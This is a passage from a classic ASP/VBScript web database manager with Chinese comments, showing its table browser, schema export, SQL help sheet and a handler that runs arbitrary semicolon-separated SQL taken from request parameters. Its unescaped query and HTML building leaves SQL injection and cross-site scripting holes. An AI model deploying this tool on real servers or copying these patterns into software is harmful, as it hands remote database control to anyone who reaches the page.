set rs = Server.CreateObject("ADODB.Recordset")
rs.Open sql,conn,3

if not rs.eof then
      rs.pageSize = pageSize
   if cint(page) < 1 then page = 1
      if cint(page) > rs.PageCount then page = rs.PageCount
      rs.absolutePage = page
end if

'显示分页导航
showNavBar rs,page,pageUrl,pageSize

'-------------------------------
echo "<div style='overflow-x:auto;overflow-y:auto; width:800;height:380;'>"
echo "<table border=0 border=0 cellpadding=3 cellspacing=1 bgcolor=#CCCCCC><tr>"
primarykey = request("primarykey")
if primarykey <> "" and request("table_name") <> "" then
echo "<td bgcolor=#ffffff>操作</td><td bgcolor=#ffffff>删</td>"
end if
for i = 0 to rs.fields.count - 1       '循环字段名
   set field = rs.fields.item(i)
   echo "<td bgcolor=#ffffff>" & field.name & " </td>"
next
echo "</tr>"

dim i,field,j
do while not rs.eof and j < rs.pageSize                   '循环数据
   echo "<tr>"

   if primarykey <> "" and request("table_name") <> "" then
   echo "<td bgcolor=#ffffff nowrap><a href='?key=edit&table_name=" & request("table_name") & "&primarykey=" & primarykey & "&primarykeyvalue=" & rs(primarykey) & "'><font color=#666666>编辑</font></a></td>"
   echo "<td><a href='?"&Request.QueryString&"&keylog="&rs(primarykey)&"' onClick='return table_delete();'><font color=#FF000>×</font></a></td>"
   end if

   for i = 0 to rs.fields.count - 1
      set field = rs.fields.item(i)
   if len(field.value) < 12 then
         echo "<td bgcolor=#ffffff nowrap>" & field.value & " </td>"
   else
     echo "<td bgcolor='#ffffff'><span class='fixspan'>" & field.value & " </span></td>"
   end if
   next
   echo "</tr>"
   rs.MoveNext
   j = j + 1
loop
'response.ContentType ="application/vnd.ms-excel"'生成EXCEL表格
echo "</table></div>"

end sub

sub exesql(sql)
on error resume next
'==================================================================执行sql函数

if trim(request.form("SchemaTable")) <> "" then Call showSchema (adSchemaTables)
if trim (request.form("SchemaColumn")) <> "" then Call showSchema(adSchemaColumns)
if trim (request.form("SchemaProvider")) <> "" then Call showSchema(adSchemaProviderTypes)

sql = trim(request("sql"))
if sql = "" then exit sub

sql = RegExpReplace(sql, "(--)(.)*\n", "") '替换注释
sql = RegExpReplace(sql, "\n[\s| ]*\r", "")  '替换空行
sql = RegExpReplace(sql, "\n", "")          '替换换行符
sql = RegExpReplace(sql, "\r", "")          '替换回车符
if (LCase(left(sql,len("select"))) = "select") and instr(sql,"into") = 0 then
   Call showSelect (sql)
   if err <> 0 then echo "<br><font color=red>" & err.description & "</font>"
   response.end
else
   '如果非select语句,允许执行多条以分号分隔的语句
   dim aSql,iLoop
   aSql = split(sql,";")
   for iLoop = 0 to UBound(aSql)
if trim(aSql(iLoop)) <> "" then
              conn.execute (aSql(iLoop))
if err <> 0 then
echo "<br><font color=red>" & err.description & "<br>  <b>"
echo iLoop + 1 & "、</b></font><font color=#CC6600>" & aSql(iLoop) & "</font><br>"
'err.clear()    '忽略错误
exit sub       '中止执行
else
echo "<div style='padding:3px 0px;border-bottom:1px solid #069;'><b>" & iLoop + 1 & "、</b>" & aSql(iLoop) & "</div>"
end if
end if
      next
      echo "<font color=red><h4>命令执行成功</h4></font>"
end if
end sub

'显示数据库信息
'QueryType有以下三个主要参数
'adSchemaTables
'adSchemaColumns
'adSchemaProviderTypes
'Call showSchema (adSchemaTables)
sub showSchema(QueryType)
dim rs
'set rs = conn.OpenSchema()
set rs = conn.OpenSchema (QueryType)
'set rs = conn.OpenSchema (adSchemaProviderTypes)

echo "<div style='overflow-x:auto;overflow-y:auto; width:800;height:380;'><table border=0 border=0 cellpadding=3 cellspacing=1 bgcolor=#CCCCCC><tr>"
for i = 0 to rs.fields.count - 1       '循环字段名
   set field = rs.fields.item(i)
   echo "<td bgcolor='#FFFFFF'>" & field.name & " </td>"
next
echo "</tr>"

dim i,field
do while not rs.eof                   '循环数据
   echo "<tr>"
   for i = 0 to rs.fields.count - 1
      set field = rs.fields.item(i)
      echo "<td bgcolor='#FFFFFF'>" & field.value & "  </td>"
   next
   echo "</tr>"
   rs.MoveNext
loop

echo "</table></div>"
end sub

%>

<%
'==================================================================导出SQL
sub tosql(strt)
'strt = 0 导出结构
'strt = 1 导出内容
dim strsql
if strt = "0"  then
table = request("table_name")
echo "以下是表 <font color=red>" & request("table_name") & "</font> 的结构: "
echo "<input type='button' name='ok' value=' 返回 ' onClick='javascript:history.go(-1)'>"
strsql = getsql(table)
end if
if strt = "2" then
echo "以下是 <font color=red> 数据库 </font> 的结构: "
echo "<input type='button' name='ok' value=' 返回 ' onClick='javascript:history.go(-1)'>"
set objSchema = Conn.OpenSchema(adSchemaTables)
Do While Not objSchema.EOF
if objSchema("TABLE_TYPE") = "TABLE" then
table = objSchema("TABLE_NAME")
strsql = strsql & getsql(table)'table & "|"'getsql(table)
end if
objSchema.MoveNext
Loop
objSchema.close
end if
echo "<textarea cols=110 rows=38>" & strsql & "</textarea>"
conn.close
end sub

'================================================================== 输出表结构
function getsql(table)
on error resume next
getsql = "-- 表结构 " & table & " 的SQL语句。" & chr(10)
dim primary,primarykey
Set primary = Conn.OpenSchema(adSchemaPrimaryKeys,Array(empty,empty,table))
if primary("COLUMN_NAME") <> "" then
primarykey = primary("COLUMN_NAME")
end if

primary.Close
set primary = nothing

tbl_struct = "CREATE TABLE [" & table & "] ( " & chr(10)
sql = "SELECT * FROM " & table
Set rs = Conn.Execute(sql)
if err = 0 then
for i = 0 to rs.fields.count-1
   tbl_struct = tbl_struct & "[" & rs(i).name & "] "
   typs = typ(rs(i).type)
   if typs = "VARCHAR" or typs = "BINARY" or typs = "CHAR" then
   tbl_struct = tbl_struct & typs & "(" & rs(i).definedsize & ")"
   else
   tbl_struct = tbl_struct & typs & " "
   end if
   attrib = rs(i).attributes
   if (attrib and adFldIsNullable) = 0 then
   tbl_struct = tbl_struct&" NOT NULL"
   end if
   if rs(i).Properties("ISAUTOINCREMENT") = True then
   tbl_struct = tbl_struct & " IDENTITY"
   end if
   tbl_struct = tbl_struct & "," & chr(10)
next
if primarykey <> "" then
tbl_struct = tbl_struct & "PRIMARY KEY ([" & primarykey & "]));"
else
len_of_sql = Len(tbl_struct)
tbl_struct = Mid(tbl_struct,1,len_of_sql-2)
tbl_struct = tbl_struct & ");"
end if
else
tbl_struct = "CREATE TABLE [" & table & "];"
end if
getsql = getsql & tbl_struct & chr(10) & chr(10)
end function

sub help()
echo "SQL 常用语句：<br><br>"
echo "创建表：<br>"
echo "CREATE TABLE [表名] (<br>"
echo "[test1] int not null identity,<br>"
echo "[test2] binary not null,<br>"
echo "primary key ([test1]))<br><br>"
echo "设置主键：ALTER TABLE [tablename] ADD PRIMARY KEY ([fieldname])<br><br>"
echo "查询：select * from tablename where fieldname *** order by id desc<br><br>"
echo "更新：update tanlename set fieldname = values,cn_name='values' where ID = 1<br><br>"
echo "添加：insert into tanlename (fieldnam,fieldnam2)values (1,'values')<br><br>"
echo "删除：delete from tanlename where fieldname = values<br><br>"
echo "删除表：DROP TABLE 数据表名称<br><br>"
echo "添加字段：ALTER TABLE [表名] ADD [字段名] NVARCHAR (50) NULL<br><br>"
echo "删除字段：alter table [tablename] drop [fieldname]<br><br>"
echo "修改字段：ALTER TABLE [表名] ALTER COLUMN [字段名] 类型(大小) NULL<br><br>"
echo "新建约束：ALTER TABLE [表名] ADD CONSTRAINT 约束名 CHECK ([约束字段] <= '2000-1-1')<br><br>"
echo "删除约束：ALTER TABLE [表名] DROP CONSTRAINT 约束名<br><br>"
echo "新建默认值：ALTER TABLE [表名] ADD CONSTRAINT 默认值名 DEFAULT '51WINDOWS.NET' FOR [字段名]<br><br>"
echo "删除默认值：ALTER TABLE [表名] DROP CONSTRAINT 默认值名<br><br>"

end sub
%>


<table width="100%" height="100%" border="0" cellpadding="5" cellspacing="1" bgcolor="#CCCCCC">
  <tr>
<td width="18%" valign="top">

<div id="Layer1" style="overflow-x:auto;overflow-y:auto; width:100%;height:100%;">
<div style="width:140px;height:0px;overflow:hidden;"></div>
表： <a href="?">主界面</a> <a href="?key=exit">退出</a> <a href="?key=help">Help</a><br>

<%
set objSchema = Conn.OpenSchema(adSchemaTables)
Do While Not objSchema.EOF
if objSchema("TABLE_TYPE") = "TABLE" then
      '输出表名
      echo "<a href='?key=view&table_name="& objSchema("TABLE_NAME") &"'>" & objSchema("TABLE_NAME") & "</a><br>"
end if
objSchema.MoveNext
Loop

echo "所有视图：<br>"
objSchema.MoveFirst
Do While Not objSchema.EOF
if objSchema("TABLE_TYPE") = "VIEW" then
      '输出表名
      echo "<a href='?key=sql&sql=SELECT * FROM [" & objSchema("TABLE_NAME")& "]'>" & objSchema("TABLE_NAME") & "</a><br>"
end if
objSchema.MoveNext
Loop
objSchema.Close
set objSchema = nothing

'echo "存储过程：<br>"
'set objSchema = Conn.OpenSchema(adSchemaProcedures)
'Do While Not objSchema.EOF
' echo "<a href='?key=proc&table_name="& objSchema("PROCEDURE_NAME") &"'>" & objSchema("PROCEDURE_NAME") & "</a><br>"
'objSchema.MoveNext
'Loop
'objSchema.Close
'set objSchema = nothing

%>
</div>
</td>
<td width="82%" valign="top">
<div id="Layer2" style="overflow-x:anto;overflow-y:auto; width:100%;height:100%;">
<%
select case request("key")
case "" '显示主界面
  call main("")
case "addtable" '显示创建表界面
  call add_table(request("table_name"),request("field_num"))
case "createtable" '执行创建表
  call create_table()
case "view"
  call view(request("table_name"))
case "sql"
  call main("1")
  call exesql(trim(request("sql")))
case "addfield"
  call addfield()
case "editfidlevi"
  call view(request("table_name"))
case "editfidle"
  call editfidle()
case "exit"
  session("dbtype") = ""
  session("dbstr") = ""
  session("db007pass") = ""
  response.redirect "?"
case "tosql"
  call tosql(request("strt"))
case "proc"
  call main("1")
  call showproc()
case "help"
  call help()
case "edit"
  call EditData()
case "reobj"
  call reobj()
end select
%>

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http://bbs.tc711.com/thread-5456-1-1.html

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